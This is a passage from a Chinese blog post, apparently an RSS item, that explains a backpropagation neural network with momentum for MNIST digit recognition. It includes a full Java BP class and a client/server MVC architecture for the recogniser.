&lt;pre&gt;&lt;code class="language-java"&gt;Sum=sum+weight[i][j] * layer0[i];
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src="https://media.baby7blog.com/ueditor/jsp/upload/image/20190421/1555818844139078885.png" alt="S函数" /&gt;&lt;/p&gt;
&lt;p&gt;参数的含义：将每个输入层中的神经元与神经元的权值信息weight[i][j]乘以对应的输入层神经元的阈值累加，然后再调用激活函数得到对应的隐层神经元的阈值。&lt;/p&gt;
&lt;h3&gt;(9)：计算隐层与输出层中输出层的神经元的阈值&lt;/h3&gt;
&lt;p&gt;方法和上面的类似，只是相对应的把权值信息进行了修改即可。&lt;/p&gt;
&lt;h3&gt;(10)：计算误差逆传播（输出层的逆误差）&lt;/h3&gt;
&lt;p&gt;采用书上P103页的方法（西瓜书）&lt;/p&gt;
&lt;h3&gt;(11)：计算误差传播（隐层的逆误差）&lt;/h3&gt;
&lt;p&gt;采用书上P103页的方法（西瓜书）&lt;/p&gt;
&lt;h3&gt;(12)：更新各层神经元之间的权值信息&lt;/h3&gt;
&lt;pre&gt;&lt;code class="language-java"&gt;double newVal = momentum * prevWeight[j][i] + eta * delta[i] * layer[j];
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;参数：其中设置momentum 为0.9，设置eta 为0.25，prevWeight[j][i]表示神经元之间的权值，layer[j]和delta[i]表示两层不同神经元的阈值。&lt;/p&gt;
&lt;h3&gt;(13)：循环迭代训练5次&lt;/h3&gt;
&lt;h3&gt;(14)：输入测试集数据&lt;/h3&gt;
&lt;h3&gt;(15)：输出测试集预测结果和实际结果进行比较，得到精确度&lt;/h3&gt;
&lt;p&gt;此处放一个多隐层BP神经网络的类（自己写的，有错误请指出）：&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-java"&gt;/**
 * BP神经网络类
 * 使用了附加动量法进行优化
 * 主要使用方法：
 *     初始化：   BP bp = new BP(new int[]{int,int*n,int})  //第一个int表示输入层，中间n个int表示隐藏层，最后一个int表示输出层
 *     训练： bp.train(double[],double[])               //第一个double[]表示输入，第二个double[]表示期望输出
 *     测试       int result = bp.test(double[])            //参数表示输入,返回值表示输出层最大权值
 *     另有设置学习率和动量参数方法
 */
import java.util.Random;
 
public class BP {
    
    private final double[][] layers;//输入层、隐含层、输出层
    private final double[][] deltas;//每层误差
    private final double[][][] weights;//权值
    private final double[][][] prevUptWeights;//更新之前的权值信息
    private final double[] target;   //预测的输出内容
    
    private double eta;        //学习率
    private double momentum;    //动量参数
    
    private final Random random;  //主要是对权值采取的是随机产生的方法
    
    //初始化
    public BP(int[] size, double eta, double momentum) {
       int len = size.length;
       //初始化每层
       layers = new double[len][];
       for(int i = 0; i&amp;lt;len; i++) {
           layers[i] = new double[size[i] + 1];
       }
       //初始化预测输出
        target = new double[size[len - 1] + 1];
        
       //初始化隐藏层和输出层的误差
       deltas = new double[len - 1][];
       for(int i = 0; i &amp;lt; (len - 1); i++) {
           deltas[i] = new double[size[i + 1] + 1];
       }
       
       //使每次产生的随机数都是第一次的分配，这是有参数和没参数的区别
        random = new Random(100000);
       //初始化权值
       weights = new double[len - 1][][];
       for(int i = 0; i &amp;lt; (len - 1); i++) {
           weights[i] = new double[size[i] + 1][size[i + 1] + 1];
       }
       randomizeWeights(weights);
       
       //初始化更新前的权值
       prevUptWeights = new double[len - 1][][];
       for(int i = 0; i &amp;lt; (len - 1); i++) {
           prevUptWeights[i] = new double[size[i] + 1][size[i + 1] + 1];
       }
       
        this.eta = eta;             //学习率
        this.momentum = momentum;   //动态量
    }
    
    //随机产生神经元之间的权值信息  
    private void randomizeWeights(double[][][] matrix) {
        for (int i = 0, len = matrix.length; i != len; i++) {
            for (int j = 0, len2 = matrix[i].length; j != len2; j++) {
               for(int k = 0, len3 = matrix[i][j].length; k != len3; k++) {
                   double real = random.nextDouble();    //随机分配着产生0-1之间的值  
                   matrix[i][j][k] = random.nextDouble() &amp;gt; 0.5 ? real : -real;
               }
            }
        }
    }
    
    //初始化输入层，隐含层，和输出层  
    public BP(int[] size) {
        this(size, 0.25, 0.9);
    }
    
    //训练数据
    public void train(double[] trainData, double[] target) {
       loadValue(trainData,layers[0]);       //加载输入的数据
       loadValue(target,this.target);         //加载输出的结果数据
        forward();                  //向前计算神经元权值(先算输入到隐含层的，然后再算隐含到输出层的权值)
        calculateDelta();           //计算误差逆传播值 
        adjustWeight();             //调整更新神经元的权值
    }
 
    //加载数据
    private void loadValue(double[] value,double [] layer) {
        if (value.length != layer.length - 1)
            throw new IllegalArgumentException(&amp;quot;Size Do Not Match.&amp;quot;);
        System.arraycopy(value, 0, layer, 1, value.length);  //调用系统复制数组的方法(存放输入的训练数据)
    }
    
    //向前计算(先算输入到隐含层的，然后再算隐含到输出层的权值)
    private void forward() {
       //计算隐含层到输出层的权值
       for(int i = 0; i &amp;lt; (layers.length - 1); i++) {
           forward(layers[i], layers[i+1], weights[i]);
       } 
    }
    
    //计算每一层的误差(因为在BP中，要达到使误差最小)(就是逆传播算法，书上有P101)
    private void calculateDelta() {
        outputErr(deltas[deltas.length-1],layers[layers.length - 1],target);   //计算输出层的误差(因为要反过来算，所以先算输出层的)
        
        for(int i = (layers.length - 1); i &amp;gt; 1; i--) {
            hiddenErr(deltas[i - 2/*输入层没有误差*/],layers[i - 1],deltas[i - 1],weights[i - 1]);   //计算隐含层的误差
        }
    }
    
     //更新每层中的神经元的权值信息
    private void adjustWeight() {
       for(int i = (layers.length - 1); i &amp;gt; 0; i--) {
            adjustWeight(deltas[i - 1], layers[i - 1], weights[i - 1], prevUptWeights[i - 1]);
       }
    }
    
    //向前计算各个神经元的权值(layer0：某层的数据,layer1：下一层的内容，weight：某层到下一层的神经元的权值)
    private void forward(double[] layer0, double[] layer1, double[][] weight) {
        layer0[0] = 1.0;//给偏置神经元赋值为1（实际上添加了layer1层每个神经元的阙值）简直漂亮!!!
        for (int j = 1, len = layer1.length; j != len; ++j) {
            double sum = 0;//保存权值
            for (int i = 0, len2 = layer0.length; i != len2; ++i) {
               sum += weight[i][j] * layer0[i];
            }
            layer1[j] = sigmoid(sum);  //调用神经元的激活函数来得到结果(结果肯定是在0-1之间的)
        }
    }
    
    //计算输出层的误差(delte:误差，output:输出，target：预测输出)
    private void outputErr(double[] delte, double[] output,double[] target) {
        for (int idx = 1, len = delte.length; idx != len; ++idx) {
            double o = output[idx];
            delte[idx] = o * (1d - o) * (target[idx] - o);
        }
    }
    
    //计算隐含层的误差(delta:本层误差,layer：本层,delta1：下一层误差,weights：权值)
    private void hiddenErr(double[] delta, double[] layer, double[] delta1, double[][] weights) {
        for (int j = 1, len = delta.length; j != len; ++j) {
            double o = layer[j];  //神经元权值
            double sum = 0;
            for (int k = 1, len2 = delta1.length; k != len2; ++k)  //由输出层来反向计算
                sum += weights[j][k] * delta1[k];
            delta[j] = o * (1d - o) * sum;
        }
    }
    
    //更新每层中的神经元的权值信息(这也就是不断的训练过程)
    private void adjustWeight(double[] delta, double[] layer, double[][] weight, double[][] prevWeight) {
        layer[0] = 1;
        for (int i = 1, len = delta.length; i != len; ++i) {
            for (int j = 0, len2 = layer.length; j != len2; ++j) {
               //通过公式计算误差限=(动态量*之前的该神经元的阈值+学习率*误差*对应神经元的阈值)，来进行更新权值
                double newVal = momentum * prevWeight[j][i] + eta * delta[i] * layer[j];
                weight[j][i] += newVal;  //得到新的神经元之间的权值
                prevWeight[j][i] = newVal;  //保存这一次得到的权值，方便下一次进行更新
            }
        }
    }
    
    //我这里用的是sigmoid激活函数，当然也可以用阶跃函数，看自己选择吧 
    private double sigmoid(double val) {
        return 1d / (1d + Math.exp(-val));
    }
    
    //测试神经网络
    public int test(double[] inData) {
        if (inData.length != layers[0].length - 1)
            throw new IllegalArgumentException(&amp;quot;Size Do Not Match.&amp;quot;);
        System.arraycopy(inData, 0, layers[0], 1, inData.length);
        forward();
        return getNetworkOutput();
    }
    
    //返回最后的输出层的结果
    private int getNetworkOutput() {
        int len = layers[layers.length - 1].length;
        double[] temp = new double[len - 1];
        for (int i = 1; i != len; i++)
            temp[i - 1] = layers[layers.length - 1][i];
        //获得最大权值下标
        double max = temp[0];
        int idx = -1;
        for (int i = 0; i &amp;lt;temp.length; i++) {
            if (temp[i] &amp;gt;= max) {
                max = temp[i];
                idx = i;
            }
        }
        return idx;
    }
    
    //设置学习率
    public void setEta(double eta) {
       this.eta = eta;
    }
    
    //设置动量参数
    public void setMomentum(double momentum){
       this.momentum = momentum;
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;二、系统架构&lt;/h2&gt;
&lt;p&gt;由于BP神经网络训练过程时间较长，所以采用客户端服务器（C/S）的形式，在服务器进行训练，在客户端直接进行识别，使用套接字进行通讯。&lt;/p&gt;
&lt;h4&gt;服务器：&lt;/h4&gt;
&lt;p&gt;&lt;img src="https://media.baby7blog.com/ueditor/jsp/upload/image/20190410/1554900655864047087.png" alt="服务器" /&gt;&lt;/p&gt;
&lt;h4&gt;客户端：&lt;/h4&gt;
&lt;p&gt;&lt;img src="https://media.baby7blog.com/ueditor/jsp/upload/image/20190410/1554900655864011889.png" alt="客户端" /&gt;&lt;/p&gt;
&lt;h3&gt;采用MVC架构：&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;Model（模型）表示应用程序核心。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;View（视图）显示数据。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Controller（控制器）处理输入。&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;MNIST数字集经过整理存储在CSV文件中。&lt;/p&gt;
&lt;p&gt;以下是系统架构：&lt;/p&gt;
&lt;p&gt;&lt;img src="https://media.baby7blog.com/ueditor/jsp/upload/image/20190410/1554908214616042777.png" alt="系统架构" /&gt;&lt;/p&gt;
&lt;h2&gt;三、源码&lt;/h2&gt;
&lt;pre&gt;&lt;code class="language-code"&gt;如果需要源码，请在下方评论区留下邮箱，我看到就会发过去

着急的话可以加我的微信或者qq，在右边侧边栏的社交那一栏，鼠标放上去就可以扫码加我了
&lt;/code&gt;&lt;/pre&gt;</description>
      <category>人工智能</category>
      <pubDate>Wed, 10 Apr 2019 12:51:03 GMT</pubDate>
      <author>七仔(Github)</author>
      <comments>https://www.baby7blog.com/myBlog/1.html</comments>
    </item>
  </channel>
</rss>
